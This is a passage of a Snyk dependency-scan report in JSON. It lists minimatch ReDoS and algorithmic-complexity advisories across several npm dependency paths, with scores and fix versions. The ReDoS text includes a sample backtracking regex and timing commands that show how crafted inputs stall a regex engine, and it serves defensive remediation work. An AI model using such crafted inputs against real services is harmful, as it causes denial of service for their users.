"pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], 